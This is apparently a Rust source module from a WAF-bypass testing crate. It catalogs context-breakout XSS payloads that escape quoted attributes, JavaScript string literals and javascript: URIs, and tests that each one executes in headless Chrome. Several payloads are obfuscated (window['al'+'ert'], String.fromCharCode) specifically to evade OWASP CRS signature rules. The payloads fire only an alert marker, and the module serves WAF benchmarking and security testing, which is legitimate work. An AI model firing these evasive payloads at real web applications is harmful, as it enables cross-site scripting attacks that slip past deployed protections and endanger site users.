detonate 0.1.5

Prove an injected web payload actually EXECUTES (alert(1) fires), not just reflects: a shared XSS-execution oracle over a jsdet sandbox.
Documentation
//! Context-breakout XSS vectors, payloads that ESCAPE a specific reflection
//! context (quoted attribute, JS string literal, `javascript:` URI) and execute.
//! The offensive complement to the body/markup vectors in [`crate::mutation`].
//!
//! The first-generation exploit search carried only body/markup breakouts
//! (`<svg onload>`, `"><script>`). Against OWASP CRS those reflect **inert** in a
//! body context and 0 execute: CRS blocks every executable markup form. But a
//! real application reflects user input into many contexts, and the ones that
//! weaponise a WAF bypass are the **non-body** ones:
//!
//!  * **JS string literal** (`var t="…"`), breaking the quote drops you into
//!    raw JavaScript with **no angle brackets and no event-handler attribute**,
//!    exactly the shape a markup-focused WAF rule never policed. This is the
//!    high-value bridge.
//!  * **quoted attribute** (`value="…"`), breaking the quote lets an
//!    auto-firing handler (`autofocus onfocus`) run without interaction.
//!  * **`javascript:` URI** (`href="…"`) (a navigated/clicked URI executes).
//!
//! Several JS-string vectors carry **JS-level alert obfuscation**
//! (`window['al'+'ert']`, `window[String.fromCharCode(97,108,101,114,116)]`) so
//! there is no literal `alert(` for a signature engine to match, the payload is
//! already evaded at the JavaScript layer, independent of wafrift's HTML
//! encoders (which don't decode inside a JS string).
//!
//! Self-validating like [`crate::mutation`]: [`tests::every_breakout_fires_in_its_context`]
//! wraps each vector in its real reflection context and detonates it in headless
//! Chrome, asserting the sink fires. A vector that stops firing fails the build
//! (LAW 6), never ships dead. The wrap mirrors
//! `bench/waf-zoo/reflect-origin/reflect_server.py` so the catalog and the live
//! benchmark origin agree on what each context looks like.

/// The reflection context a breakout escapes. Each maps 1:1 to a `ctx=` mode of
/// the benchmark reflect-origin, so a vector proven here is proven against the
/// live sweep target.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum BreakoutContext {
    /// `<input value="PAYLOAD">`: double-quoted HTML attribute.
    AttrDouble,
    /// `<input value='PAYLOAD'>`: single-quoted HTML attribute.
    AttrSingle,
    /// `<script>var t="PAYLOAD";</script>`: double-quoted JS string literal.
    JsStringDouble,
    /// `<script>var t='PAYLOAD';</script>`: single-quoted JS string literal.
    JsStringSingle,
    /// `<a href="PAYLOAD">` auto-clicked: `javascript:` URI.
    UriHref,
}

impl BreakoutContext {
    /// Short human label for reports / dogfood logs.
    #[must_use]
    pub fn label(self) -> &'static str {
        match self {
            Self::AttrDouble => "attr-double",
            Self::AttrSingle => "attr-single",
            Self::JsStringDouble => "js-string-double",
            Self::JsStringSingle => "js-string-single",
            Self::UriHref => "uri-href",
        }
    }

    /// Wrap `payload` exactly as the reflect-origin reflects this context, the
    /// page a vulnerable app would serve. Used by the self-test to detonate the
    /// breakout in its real surroundings; mirrors `reflect_server.py`.
    #[must_use]
    pub fn wrap(self, payload: &str) -> String {
        match self {
            Self::AttrDouble => format!("<input id=\"f\" type=\"text\" value=\"{payload}\">"),
            Self::AttrSingle => format!("<input id=\"f\" type=\"text\" value='{payload}'>"),
            Self::JsStringDouble => {
                format!("<script>\n  var t = \"{payload}\";\n  window.__t = t;\n</script>")
            }
            Self::JsStringSingle => {
                format!("<script>\n  var t = '{payload}';\n  window.__t = t;\n</script>")
            }
            Self::UriHref => format!(
                "<a id=\"lnk\" href=\"{payload}\">go</a>\n\
                 <script>try{{document.getElementById('lnk').click();}}catch(e){{}}</script>"
            ),
        }
    }
}

/// A named context-breakout vector. `template` carries `{{M}}` where the alert
/// marker is substituted by [`breakout_vectors`].
#[derive(Debug, Clone, Copy)]
pub struct BreakoutVector {
    /// Stable identifier (for reports / dogfood logs).
    pub name: &'static str,
    /// The reflection context this payload escapes.
    pub context: BreakoutContext,
    /// The payload template; `{{M}}` → alert marker.
    pub template: &'static str,
}

/// The context-breakout catalog. Each entry is validated to fire in its real
/// reflection context in headless Chrome by the module self-test.
///
/// Tier-B data: extend as new context breakouts are discovered and proven by the
/// self-test. A candidate that does not fire fails the build rather than shipping
/// dead.
pub const BREAKOUT_VECTORS: &[BreakoutVector] = &[
    // ── quoted-attribute breakouts: auto-firing handler, no interaction ──
    BreakoutVector {
        name: "attr-dq-autofocus",
        context: BreakoutContext::AttrDouble,
        template: "\" autofocus onfocus=alert({{M}}) x=\"",
    },
    BreakoutVector {
        name: "attr-sq-autofocus",
        context: BreakoutContext::AttrSingle,
        template: "' autofocus onfocus=alert({{M}}) x='",
    },
    // ── JS double-quoted string breakouts ──
    BreakoutVector {
        name: "js-dq-plain",
        context: BreakoutContext::JsStringDouble,
        template: "\";alert({{M}})//",
    },
    BreakoutVector {
        name: "js-dq-arith",
        context: BreakoutContext::JsStringDouble,
        template: "\"-alert({{M}})-\"",
    },
    // CRS-evading: no literal `alert(`: the sink name is assembled at runtime.
    BreakoutVector {
        name: "js-dq-concat",
        context: BreakoutContext::JsStringDouble,
        template: "\";window['al'+'ert']({{M}})//",
    },
    BreakoutVector {
        name: "js-dq-fromcharcode",
        context: BreakoutContext::JsStringDouble,
        template: "\";window[String.fromCharCode(97,108,101,114,116)]({{M}})//",
    },
    // Tokenizer bridge: `</script>` closes the script element even mid-string,
    // then a fresh auto-firing element parses as markup.
    BreakoutVector {
        name: "js-dq-scriptbridge",
        context: BreakoutContext::JsStringDouble,
        template: "</script><svg onload=alert({{M}})>",
    },
    // ── JS single-quoted string breakouts ──
    BreakoutVector {
        name: "js-sq-plain",
        context: BreakoutContext::JsStringSingle,
        template: "';alert({{M}})//",
    },
    BreakoutVector {
        name: "js-sq-concat",
        context: BreakoutContext::JsStringSingle,
        template: "';window['al'+'ert']({{M}})//",
    },
    // ── javascript: URI breakouts (auto-clicked) ──
    BreakoutVector {
        name: "uri-plain",
        context: BreakoutContext::UriHref,
        template: "javascript:alert({{M}})",
    },
    BreakoutVector {
        name: "uri-concat",
        context: BreakoutContext::UriHref,
        template: "javascript:window['al'+'ert']({{M}})",
    },
];

/// The [`BREAKOUT_VECTORS`] payloads with `{{M}}` replaced by `marker`: the raw
/// breakout strings the exploit search fires at the target (the live app does
/// the context-wrapping, so these are unwrapped by design).
#[must_use]
pub fn breakout_vectors(marker: &str) -> Vec<String> {
    BREAKOUT_VECTORS
        .iter()
        .map(|v| v.template.replace("{{M}}", marker))
        .collect()
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::chrome;

    #[test]
    fn marker_substitution_is_complete() {
        let v = breakout_vectors("1");
        assert_eq!(v.len(), BREAKOUT_VECTORS.len());
        assert!(v.iter().all(|s| !s.contains("{{M}}")), "no placeholder left: {v:?}");
        assert!(v.iter().any(|s| s.contains("alert(1)")));
    }

    #[test]
    fn names_are_unique() {
        let mut names: Vec<_> = BREAKOUT_VECTORS.iter().map(|v| v.name).collect();
        names.sort_unstable();
        let before = names.len();
        names.dedup();
        assert_eq!(before, names.len(), "vector names must be unique");
    }

    #[test]
    fn covers_the_non_body_contexts() {
        // The catalog earns its keep only if it spans the contexts the
        // body/markup vectors DON'T: at minimum a JS-string and a quoted
        // attribute. Guards against the set collapsing back to markup.
        use BreakoutContext::*;
        for ctx in [AttrDouble, AttrSingle, JsStringDouble, JsStringSingle, UriHref] {
            assert!(
                BREAKOUT_VECTORS.iter().any(|v| v.context == ctx),
                "no breakout covers {}",
                ctx.label()
            );
        }
    }

    #[test]
    fn ships_a_signature_evading_js_breakout() {
        // At least one JS-string breakout must carry NO literal `alert(`: the
        // whole point of the JS-level obfuscation (window['al'+'ert'], …).
        assert!(
            BREAKOUT_VECTORS.iter().any(|v| {
                matches!(v.context, BreakoutContext::JsStringDouble | BreakoutContext::JsStringSingle)
                    && !v.template.contains("alert(")
            }),
            "catalog must ship a JS-string breakout with no literal alert( token"
        );
    }

    #[test]
    fn wrap_matches_origin_shapes() {
        // The wrap must produce the same surrounding markup the reflect-origin
        // serves, or the self-test would validate a context the sweep never
        // exercises. Spot-check the structural anchors.
        assert!(BreakoutContext::AttrDouble.wrap("X").contains("value=\"X\""));
        assert!(BreakoutContext::AttrSingle.wrap("X").contains("value='X'"));
        assert!(BreakoutContext::JsStringDouble.wrap("X").contains("var t = \"X\";"));
        assert!(BreakoutContext::JsStringSingle.wrap("X").contains("var t = 'X';"));
        assert!(BreakoutContext::UriHref.wrap("X").contains("href=\"X\""));
        assert!(BreakoutContext::UriHref.wrap("X").contains(".click()"));
    }

    /// The no-rot guarantee: on a chrome-equipped host EVERY breakout, wrapped in
    /// its real reflection context, must actually fire `alert(1)`. A vector that
    /// stops escaping its context (browser behaviour change, typo) fails the
    /// build rather than silently shipping a dead exploit. Skips with no browser.
    #[test]
    fn every_breakout_fires_in_its_context() {
        let Some(c) = chrome::chrome_binary() else {
            eprintln!("SKIP: no chrome binary, set WAFRIFT_CHROME_BIN to validate the breakout catalog");
            return;
        };
        let mut failures = Vec::new();
        for v in BREAKOUT_VECTORS {
            let payload = v.template.replace("{{M}}", "1");
            let page = v.context.wrap(&payload);
            let p = chrome::detonate_with_binary(&c, &page);
            if !(p.executed && p.message.as_deref() == Some("1")) {
                failures.push(format!("[{} / {}] {:?} → {p:?}", v.name, v.context.label(), payload));
            }
        }
        assert!(
            failures.is_empty(),
            "{} context-breakout vector(s) did NOT fire alert(1) in {c}:\n{}",
            failures.len(),
            failures.join("\n")
        );
    }

    /// Negative twin: a contained value (no breakout) in each quoted context must
    /// NOT execute (proves the catalog's firing is the breakout, not the wrap).
    #[test]
    fn contained_value_does_not_fire() {
        let Some(c) = chrome::chrome_binary() else {
            eprintln!("SKIP: no chrome binary");
            return;
        };
        for ctx in [BreakoutContext::AttrDouble, BreakoutContext::JsStringDouble] {
            // A benign value that stays inside the quotes, note: must not itself
            // contain the closing delimiter.
            let page = ctx.wrap("harmless onfocus=alert(1) value");
            let p = chrome::detonate_with_binary(&c, &page);
            assert!(!p.executed, "contained value must not fire in {}: {p:?}", ctx.label());
        }
    }
}